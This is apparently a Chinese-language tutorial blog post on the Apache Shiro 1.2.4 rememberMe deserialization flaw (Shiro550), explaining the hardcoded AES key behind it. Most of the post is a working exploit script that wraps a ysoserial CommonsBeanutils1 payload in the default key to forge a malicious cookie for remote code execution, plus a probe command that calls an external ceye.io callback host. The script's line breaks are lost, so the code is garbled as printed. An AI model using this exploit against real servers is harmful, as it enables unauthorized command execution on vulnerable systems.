本文主要是介绍Shiro rememberMe反序列化漏洞(Shiro550),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
Remember Me:记住我,这个是非常常见的功能,即一次登录后,下次再来的话不用登录了
漏洞原理
Apache Shiro <= 1.2.4 版本中,加密的用户信息序列化后存储在Cookie的rememberMe字段中,攻击者可以使用Shiro的AES加密算法的默认密钥来构造恶意的Cookie rememberMe值,发送到Shiro服务端之后会先后进行Base64解码、AES解密、readObject()反序列化,从而触发Java原生反序列化漏洞,进而实现RCE。
该漏洞的根源在于硬编码Key。
漏洞版本
Apache Shiro <= 1.2.4
shiro_poc.py,基于ysoserial工具生成基于CommonsBeanutils1的反序列化利用payload,然后使用Shiro默认Key来进行AES和Base64相关加密操作,最后输出完整rememberMe的payload:
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-6eca5bc740-1.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])print("rememberMe={}".format(payload.decode()))# with open("payload.txt", "w") as fpw:# print("rememberMe={}".format(payload.decode()), file=fpw)
生成探测类的PoC:
python shiro_poc.py "ping xxx.ceye.io"
这篇关于Shiro rememberMe反序列化漏洞(Shiro550)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!